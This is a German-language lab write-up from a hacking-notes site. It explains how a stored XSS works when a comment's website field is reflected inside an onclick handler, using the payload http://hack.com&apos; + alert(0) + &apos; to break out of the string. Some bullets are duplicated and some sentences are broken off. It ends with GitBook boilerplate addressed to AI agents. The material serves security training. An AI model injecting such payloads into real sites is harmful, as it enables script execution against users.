> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/stored-xss-in-onclick-with-full-encoding.md).

# Gespeichertes XSS in onclick mit vollständiger Kodierung

### Gespeichertes XSS im onclick-Ereignis mit HTML-kodierten spitzen Klammern und doppelten Anführungszeichen sowie maskierten einfachen Anführungszeichen und Backslashes

Dieses Lab enthält eine im Kommentarfeld gespeicherte XSS-Schwachstelle: Der Wert eines Feldes (Name/Autor/Website) wird erneut in einem `onclick` Attribut und kodiert — `<` und `>` spitze Klammern und doppelte Anführungszeichen werden HTML-kodiert, während einfache Anführungszeichen und Backslashes maskiert werden.

Zweck: einen Kommentar abzusenden, um auszuführen `alert()` beim Klicken auf den Namen des Autors.

<figure><img src="/files/d168b7450349c2c61441bd20953c9fcf7c861c0e" alt=""><figcaption></figcaption></figure>

In dem `Website` Bereich fügt die Seite etwas wie Folgendes ein:

```javascript
onclick="var tracker={track(){}};tracker.track('http://test.com');"
```

Einfache Anführungszeichen werden durch das `&apos;` Entität dargestellt. Beispiel:

```javascript
&apos;
```

* Wenn `HTTP://hack.com&apos;test` wird an die `&apos;` Seite als Apostroph gesendet (so ist das Anführungszeichen auf der DOM-Seite vorhanden).

```javascript
<p>Es ist ein wundervoller Tag </p>
```

<figure><img src="/files/dbc6e6b31952fe3575f8fb971a2311bee1c3a5dd" alt=""><figcaption></figcaption></figure>

* Nutze die Tatsache aus, dass `&apos;` zu einem Apostroph wird, um die JavaScript-Zeichenkette zu durchbrechen und eine Berechnung/Konkatenation einzuschleusen, die `alert()`.

<pre class="language-javascript"><code class="lang-javascript"><strong>HTTP://hack.com&#x26;apos;test
</strong></code></pre>

* Wenn `HTTP://hack.com&apos;test` wird an die `&apos;` Seite als Apostroph gesendet (so ist das Anführungszeichen auf der DOM-Seite vorhanden).

<figure><img src="/files/9468487b454a83da8dc471d5a3015a5acb9878cf" alt=""><figcaption></figcaption></figure>

* Nutze die Tatsache aus, dass `&apos;` zu einem Apostroph wird, um die JavaScript-Zeichenkette zu durchbrechen und eine Berechnung/Konkatenation einzuschleusen, die `alert()`.

```javascript
http://hack.com&apos; + alert(0) + &apos;
```

<figure><img src="/files/99033280c0e71404053c2ca114ff60b624bdb1e4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d62e86b508b05cc19fa2b3a2b33e84de67a6bde6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/stored-xss-in-onclick-with-full-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
